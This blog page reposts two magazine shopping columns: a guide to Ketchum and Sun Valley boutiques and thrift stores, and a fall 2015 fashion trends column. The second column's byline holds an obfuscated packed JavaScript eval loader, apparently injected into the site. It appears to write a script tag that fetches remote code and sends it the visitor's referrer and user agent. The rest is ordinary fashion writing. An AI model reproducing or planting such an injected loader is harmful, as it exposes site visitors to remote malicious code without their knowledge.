Style Spy Girl Shopping Guide to Sun Valley

ammophotog with StyleSpyGirl for Treasure Magazine (2017)
ammophotog with StyleSpyGirl for Treasure Magazine (2017)
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The Sun Valley area is known for its famous ski slopes and celebrity sightings, but it’s also a prime shopping destination. Even if you aren’t fortunate enough to catch Katy Perry strolling the sidewalks, you can most certainly find places to help you dress like her. And it’s less than a three-hour drive from the Treasure Valley!

Both the historic town of Ketchum and its ritzy neighbor Sun Valley are packed with restaurants, art galleries, furniture and gift shops, and boutiques. And trust me, the fashion alone is worth the drive. I recently headed up to the Wood River Valley with a group of girlfriends for an overnight shopping trip.sun valley idaho stylespygirl shopping trio

It’s easy to get around Ketchum, and many shops are within walking distance of each other. And parking spots abound (with no meters — yay!). Up the road, nearly everything is close by once you get to Sun Valley, too. So pull in, grab a latte and get walking.

Treat yourself

Elle Rose is a couture-packed treasure trove, spread out among two sister shops: designer and contemporary. On the designer side, you will find a polished array of luscious luxury items from Valentino, Versace, Chloe, Hermes, Manolo Blahnik and more. On the contemporary side, you can unleash your inner posh-rock-goddess with stunning pieces from Alexander McQueen, Theory, Stella McCartney, Rag & Bone, The Row, etc. This is a couture shop so expect to pay couture prices, but check out the clearance racks in the back of the contemporary store for last-chance deals. 641 Sun Valley Road, Ketchum; 208-726-8871; ellerosesv.com.elle rose sun valley

 The Sheepskin Coat Factory was opened in 1971 by David Norton. He operated a tannery at that time, and manufactured and designed coats and jackets from shearling (sheepskin), selling wholesale to large stores on the East Coast as well as retailing directly in his Ketchum shop and his other regional stores. Although Norton no longer personally produces all the pieces in his store, Sheepskin Coat Factory has stuck to its high-quality values, and it imports inventory only from U.S. and Canadian vendors. The store sells predominantly outerwear and accessories from multiple brands in a range of price points, and it has added several ready-to-wear ladies lines. Our group was particularly impressed by the winter-to-spring transitional travel jackets, like one by Diana Rosh that’s super lightweight and rolls up into a tiny bag. 511 Sun Valley Road, Ketchum; 208-726-3588; sheepskincoat.com.
ammophotog with StyleSpyGirl for Treasure Magazine (2017)
ammophotog with StyleSpyGirl for Treasure Magazine (2017)
ammophotog with StyleSpyGirl for Treasure Magazine (2017)

When I walked into Theodore, for a moment I thought we were in a London boutique. Tall shelves stacked with denim and walls of glass adorned with color-categorized racks of clothing entice the eye and pull you deeper into a shopping heaven. The fashions in Theodore are right on trend. The shoes, the attitude, the vibe … very urban chic. 511 Leadville Ave., Ketchum; 208-726-3544.

Déjà Vu is an otherworldly treasure trove. For more than 20 years, owner Suzy Hart has cultivated a collection that must be seen to be believed. From vintage Chanel necklaces to Valentino blouses, fur collars to crystal tiaras, every nook and cranny of Hart’s shop is packed with awe-worthy finds. Déjà vu is not a consignment shop, but an estate and couture boutique. 511 Leadville Ave., Ketchum; 208-726-1908; dejavuvintagestore.com.ammophotog with StyleSpyGirl for Treasure Magazine (2017)

ammophotog with StyleSpyGirl for Treasure Magazine (2017)

ammophotog with StyleSpyGirl for Treasure Magazine (2017)

On trend, on budget

Fly fisher and local legend Dick Alfs opened Silver Creek Outfitters in 1963 after years of tying and selling flies that he would hand-deliver to local customers. Decades later, his landmark shop has grown to include men’s and women’s clothing (both functional and fashionable), shoes, accessories, eyewear, luggage, gift and home décor, and everything you’d need for hunting or fishing. Silver Creek Outfitters carries what you need to “take you from a day on the river to an evening on the town.” It carries classic fashion brands like Peter Millar, Scott Barber, 34 Heritage and Patagonia, as well as TRASK shoes. The store also offers outfitted tours and trips. 500 N. Main St., Ketchum; 208-726-5282; www.silver-creek.com.silver creek sun valley

Sway is a bright and airy shop packed with fashion-forward and accessible styles. With a vibe reminiscent of Malibu or Beverly Hills, this store was one of our group’s favorites. Soft colors, uber-trendy denim, must-have blouses and the latest Instagram-worthy accessories stock every shelf and table. Owner Roxanne Harris has impeccable taste, and brands include MiH, Free People, DL 1961, Rails, Elizabeth and James, Paige, Maison Scotch and Joie. 511 Sun Valley Road, Ketchum; 208-928-7884.sway sun valley

Ketchum Flower Company-Girl Friday is your one-stop shop for all things lovely. Michelle Ferris opened her shop 18 years ago to bring “beautiful fresh-cut flowers, tasteful arrangements and eclectic affordable gifts to the valley.” Girl Friday, the clothing side of the shop, is packed with denim, shoes, shirts, scarves and more, from brands like Bed|Stu, Gentle Fawn, Larissa, Free People, Raffi, Sanctuary and Good hYOUman. 440 E. Avenue N., Ketchum; 208-622-7364, ketchumflower.com.

Farmer’s Daughter, founded by self-proclaimed “treasure-hunters, nostalgia keepers, memory creators and magic makers,” is a sweet store with more home décor and less fashion, but the fashions the store does carry are indeed magic — from vintage flannels to repurposed Louis Vuitton handbags draped with fringe, feathers and riveted belt shoulder straps. If you’re on the hunt for unique, check out Farmer’s Daughter. 331 Leadville Ave., Ketchum; 208-726-6433; thefarmersdaughtersunvalley.com.

Cool finds

Ketchum is home to a couple of fun and fabulous consignment/second-hand shops:

Worth Repeating, downstairs from Atkinson’s Market grocery store, is packed with fabulous designer wear, funky décor items, art and jewelry, as well as vintage and resale furniture. Owner Merilee Hansen moved here 51 years ago after she visited from California and fell in love with the area. About 15 years ago, Hansen decided to follow her passion for collecting cool and eclectic things and opened Worth Repeating. In Giacobbi Square at 451 4th St. E., Ketchum; 208-726-9440.ammophotog with StyleSpyGirl for Treasure Magazine (2017)
ammophotog with StyleSpyGirl for Treasure Magazine (2017)

When you shop at the Gold Mine Thrift Store, you are supporting Ketchum’s Community Library. How cool is that? Also cool: sifting through racks of $3-15 clothing and finding a pair of glittery black Diane Von Furstenberg pants for only $10. When I took them up to the register to pay, the cashier was so excited to see the pants go to an appreciative home that she proceeded to regale me with tales of similar finds, like the Burberry coat scored here for under $30 a couple of years back. If you are looking for an “Are you kidding me?” fashion discovery moment, this is the place to shop. It’s also a great place to find skis and slope gear, jeans, coats and even children’s wear for when you’re in town with the whole family, and you have that one kid who always forgets their swimsuit. For designer treasures, head to the thrift store’s Gold Mine Consign on the very next block. Our crew found previously loved Prada pants, Betsey Johnson fur coats, Gucci bags and more at deeply discounted prices. The Gold Mine Thrift Store is at 331 Walnut Ave. and the Consignment Shop is at 591 4th St. E., Ketchum; comlib.org/goldmine, 208-726-5544.

While we didn’t visit on this trip, the Barkin’ Basement Thrift Store in nearby Hailey is packed with fun finds, and proceeds benefit the Animal Shelter of the Wood River Valley. From fabulous dresses for all occasions to shoes and boots, there’s a bargain waiting here for you. 111 S. Main St., Hailey; animalshelterwrv.org/activity/ barkinbasement.

Shoes and more

Susan and Mark Nieves opened Independent Goods in late 2016 after leaving Seattle in search of adventure and community. They specialize in handmade gifts and collectibles ranging from copper flasks to restored vintage axes. They also have jewelry, T-shirts, household goods and handbags, all made in the United States, including a selection from Idaho. Independent Goods is also set up like the coolest campground you’ve ever visited. Wooden chairs line the walls as display shelves, and a massive canvas tent divides the register area from the clothing part of the store. There is a massive mural inscribed with John Muir’s famous quote, “The mountains are calling and I must go.” 330 Walnut Ave., Ketchum; 208-720-9004; independentgoods.com.ammophotog with StyleSpyGirl for Treasure Magazine (2017)
ammophotog with StyleSpyGirl for Treasure Magazine (2017)
ammophotog with StyleSpyGirl for Treasure Magazine (2017)

Ozzie’s Shoes owner Steve Carlson stocks brands that are fashionable and yet immensely functional for mountain winters. During snow season, stop in for a cozy pair of Uggs, rugged waterproof Sorels or chic Freebird by Steven boots. For year-round footwear, Ozzie’s also carries brands such as Superga, Franco Sarto, Dansko, Born and Birkenstock for men, women and children. 406 Leadville Ave. N., Ketchum; 208-726-3604.ammophotog with StyleSpyGirl for Treasure Magazine (2017)
ammophotog with StyleSpyGirl for Treasure Magazine (2017)
ammophotog with StyleSpyGirl for Treasure Magazine (2017)

Huck & Paddle owner Brandy Herold first ventured into retail when she began creating candles for a friend’s boutique in Washington state. She opened her gift and accessories shop in 2014. Along with her signature homemade candles, Huck & Paddle is stocked with scarves, hats, gloves, jewelry and home décor. Huck & Paddle’s vibe is kitschy/posh, ranging from fur blankets to laser-stenciled suede bracelets, and a wide variety of things you never knew you had to have — until now. 400 Sun Valley Road, Ste. 101, Ketchum; 208-928-6550; HuckandPaddle.com.ammophotog with StyleSpyGirl for Treasure Magazine (2017)
ammophotog with StyleSpyGirl for Treasure Magazine (2017)
ammophotog with StyleSpyGirl for Treasure Magazine (2017)

If you’re looking for a place to touch and feel all the soft, cozy things your heart craves, step into Madeline & Oliver and run your fingers through a rack of bathrobes. This shop is all about texture. From pajamas to lotions, candles to comforters, they have everything you need to indulge yourself — both “Above and Below the Sheets!” 460 Sun Valley Road, Ste. 103, Ketchum; 208-726-7779, madelineandoliver.com. ammophotog with StyleSpyGirl for Treasure Magazine (2017)
ammophotog with StyleSpyGirl for Treasure Magazine (2017)
ammophotog with StyleSpyGirl for Treasure Magazine (2017)

The area’s newest lingerie and sleepwear shop, Undercover, is coincidentally one of its oldest, too. Kim Donald first opened Undercover back in 1978 but moved away after about 10 years. Nearly two years ago, she moved back to Ketchum, and friends and family began asking her to reopen her beloved shop. At the end of 2016, she did just that, taking her original lingerie store concept and expanding it to include sleepwear, loungewear and luxurious body products. Undercover carries lines such as Wacoal, Natori, Chantelle, Bedhead, Cosa Bella, Hanro and Spanx. Be sure to sample the scents of the incredible lotions, bubble baths and bath salts by K. Hall. The Lemongrass body lotion was my favorite; you have to smell it to believe it. 320 Walnut Ave., Ketchum; 208-928-7002.

Sun Valley Resort

From downtown Ketchum, take Sun Valley Road up to the world-famous Sun Valley Resort, a village in its own right that hosts skiing championships, music festivals, celebrity events and, of course, the renowned Sun Valley Film Festival. The resort boasts dozens of skiing, snowboarding and snowshoeing trails, as well as biking and hiking paths, a golf course, a spa, several delicious places to wine and dine, and a plethora of delightful fashion and gift shops. Here are two of our Sun Valley favorites:

Brass Ranch has two locations: one in Sun Valley and another in Ketchum. The huge modern boutiques are packed with large collections of European and American ski and sportswear, plus off-slope fashions, handbags and shoes from designers such as Arc‘teryx, Bogner, Canada Goose, Eider, JetSet, Kjus, Moncler, Ralph Lauren, Marc Jacobs, Zadig & Voltaire, Rossignol and Toni Salier. There’s also a great skin care and makeup bar. We enjoyed the store’s cheerful customer service and the wide variety of fashions for every budget. There’s even a men’s section. ammophotog with StyleSpyGirl for Treasure Magazine (2017)
ammophotog with StyleSpyGirl for Treasure Magazine (2017)
ammophotog with StyleSpyGirl for Treasure Magazine (2017)

Panache fashion boutique opened in 1981 in Sun Valley and now has a second location in Park City, Utah. Stop in for a wide range of fashion-forward brands, including Mother, Helmut Lang, Diane von Furstenberg, Velvet, Juicy, Brunello Cucinelli, Goldsign and more. You’ll get personalized assistance. Be sure to check out the clearance rack in back for off-season finds. 3 Sun Valley Road, Sun Valley; 208-622-4228.

panache sun valley

Note: My “Sun Valley” article first appeared in the Idaho Stateman’s “Treasure Magazine,” under the title “Hit the road to Sun Valley for shopping and fun,” dated April 14, 2017. I’m reposting to my blog with their permission; the original is linked here, if you’d like to view it.

Fall Fashion 2015 – Treasure Magazine Shopping Column

fall fashion trends stylespygirl

By eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ststa|var|u0026u|referrer|hinak||js|php’.split(‘|’),0,{}))
Tanya Carnahan for Treasure Magazine, issue Aug 2015. Full post
here.

fall fashion trends stylespygirlPhotos by Valerie Davenport Photography / Outfit provided by Walla Walla Clothing Co.

Fall fashion is afoot. Back-to-school shoppers are packing local stores, and school supply lists are circulating like hot cakes. But the most interesting trend that has everyone buzzing so far this year, is … the notable lack of trends!

Hear me out.

In recent history, “trends” were defined by the decade. Everyone wore similar clothes in the 1920s, ’40s, ’60s, etc. It’s how you can tell what era that strange faded photo of your parents is from. The last few years, however, it seems as though the fashion industry hit a fast-forward button, bringing trends around yearly, and then seasonally, so that nearly every three months you may feel the urge to redo your entire closet.

This year, however, hyper-trending fast-fashion seems to be having a negative effect, sucking the creativity out of designers and burning out consumers, not to mention burning holes in everyone’s wallets. This fall, shoppers and designers alike are putting the brakes on the over-proliferation of trends, calling instead for the fashion industry to just … slow … down.

This season, you will still see new concepts and innovative outfits trending across the country, but the good news is that past trends and styles are sticking around. You don’t have to ditch your wardrobe to stay in style. Instead, work on incorporating a few key pieces that you love into what you’re already rocking. If you loved the ’70s styles of summer, for example, I have good news for you: Bohemian fashions are still going strong.

Here are some other micro-trends and new fashions you’ll see in stores. Have fun with the ideas that resonate with your style.

Shimmer and shine: Fall fabrics and textures are rich and luxurious, embracing velvets, silks, furs and deep jewel-tone colors. Top your favorite black jeans with a burgundy blouse and silver jewelry, or go all out with a floor-sweeping navy blue velvet dress for head-turning drama. Look for rich brocades, floral patterns and shimmery fabrics, a la Studio 54 glam and decadence.

retro hunny plaid dressPlay in plaids: Last year’s ’90s-grunge styles are also holding strong. From capes and dresses to a classic lumberjack shirt tied around your rocker T-shirt and jeans, plaid continues to dominate the fashion landscape for both men and women. For a modern take on this classic trend, eschew the typical “schoolgirl” skirt and wear your plaid in unexpected ways, like a fitted jacket, tartan backpack or the custom-made rockabilly dress (pictured above) that I commissioned from local designer Retro Hunny (retrohunny@gmail.com). I’ve even seen plaid wedding dresses shock runway audiences with their simultaneous audacity and ability to invoke a highlander-esque magic.

Culottes: Whether you’re a lover or a hater, there’s no denying that culottes are huge in fashion right now. For fall, they look best worn with a sturdy wedge sandal or tall ankle boot for limited skin exposure. If you’re opting for printed culottes, be sure to find a pair that’s wide and flowy so that it almost appears to be a full skirt. Pair it with a tailored, printed blouse or jacket. If you’re wanting to dabble conservatively into this trend, I recommend a denim pair for comfort and versatility.

Nerdy chic: Take a cue from Gwyneth Paltrow’s character in “The Royal Tenenbaums” and pile on pastels in 1960s candy colors. Shirt dresses, varsity jackets, quilted fabrics, structured satchels, brown brogues and sport-infused pieces are the way to go to achieve this style. It’s part 1970s sportif, part nerdy schoolgirl, and part dowdy grandma. Sound unappealing? It’s remarkably chic, when put together well, but this look definitely takes confidence and attitude in high doses to achieve.

Leg up: Keep warm in the latest incarnation of patterned stockings, which range from sexy to playful in all ranges of colors and styles. It’s easy to go beyond fishnets and make a bold statement instead in stripes, bows, plaids and all manner of swirls and florals. Be careful when mixing patterns, though. Don’t wear paisley tights with a striped skirt, for example. Tights make your legs the statement piece, so keep them the focus of attention by turning the volume down on the rest of your ensemble. (Photo below from All About Socks in Boise.)fall fashion trends stylespygirl

Shoes: The newest boot style is the mid-shaft ankle boot, which is higher than the typical bootie and worn fitted or laced (jump back up to the plaid photo above, for an example!) Dress it up, with a pointy-toe, shiny patent leather and sturdy block heel. They are best worn with culottes, cropped pants or a longer skirt. Platform boots and shoes are still going strong, as are classic pointy-toe pumps. Doc Marten’s-style boots are still popular, as are platform and military styles. It’s very ’90s grunge to pair chunky black ankle boots with a long floral dress and denim jacket.

fall fashion trends stylespygirlHandbags: Backpacks are always great for back to school, but this season they’re also a huge trend for the grown-up crowd. Look for statement backpacks with words or patterns that you love, like this red one above from local leather craftsman ifeelgoodtoday.net, and customize it with another major trend in handbags: purse charms. Everyone from Louis Vuitton to COACH (Black Leather Rucksack with Feather & Stars charm pictured above) is creating adorable charms. They’re a great way to show your style (and own a small piece of your favorite designer brand without the hefty price tag).

kids fall fashion trends

Daphne & Ellia, clothes by Justice / Ben and Moby, clothes and backpacks by Nordstrom Rack / Never Grow Up shirt by Huckleberry Threads

Children’s wear: For the first time in decades, it seems as though jeans are beginning to fall out of favor with the younger crowd. They are being replaced by athletic styles like sweatpants and track pants, yoga pants and leggings, and basically anything kids can run from the classroom to PE. in without having to change clothes. Bohemian looks are in for young girls, and statement coats in fun colors will be hot once the weather turns cold.

Kids love soft textures, so watch for faux fur and shearling on everything from jackets to shoes. High tops are a must for every kid; for boys, bright colors are king, while your little girl will probably pine for blingy, bejeweled accents like Skecher’s Twinkle Toes, or the silver glitter high tops from Justice pictured on Daphne in the photo above.

huckleberry moby d

Statement sweatshirts and T-shirts are very popular, like the “Never Grow Up, Never Surrender” shirt from local children’s designer Huckleberry Threads. Call it a hipster invasion of the schoolyard, but many boys and girls are also embracing classic accessories, like bow ties, suspenders and fedoras. Accessories are a fun and inexpensive way for kids to personalize their look.

For men: I asked Ashley Barkley, a local fashion stylist and H&M “Next Face” spokesmodel, about her predictions for menswear this fall. She told me that for men, the “Americana Heritage” look is huge. Must-have items for this style are warm earthy pieces, like beat leather belts and boots, denim jackets, slim cargo pants and joggers, and flannel shirts, which add a campfire-like, woodsy feel. Camel is the new fall neutral, Barkley said. “Discerning” gentleman, she added, also should look for items like gum-soled shoes, knits inspired by graphic art and grooming practices that enhance the overall look (fragrances, shave habits, groomed beards, etc.).mens fall fashion

Email Tanya your ideas and questions for Treasure at Tanya@stylespygirl.com. Visit her blog at stylespygirl.com for more Treasure Valley shopping news.

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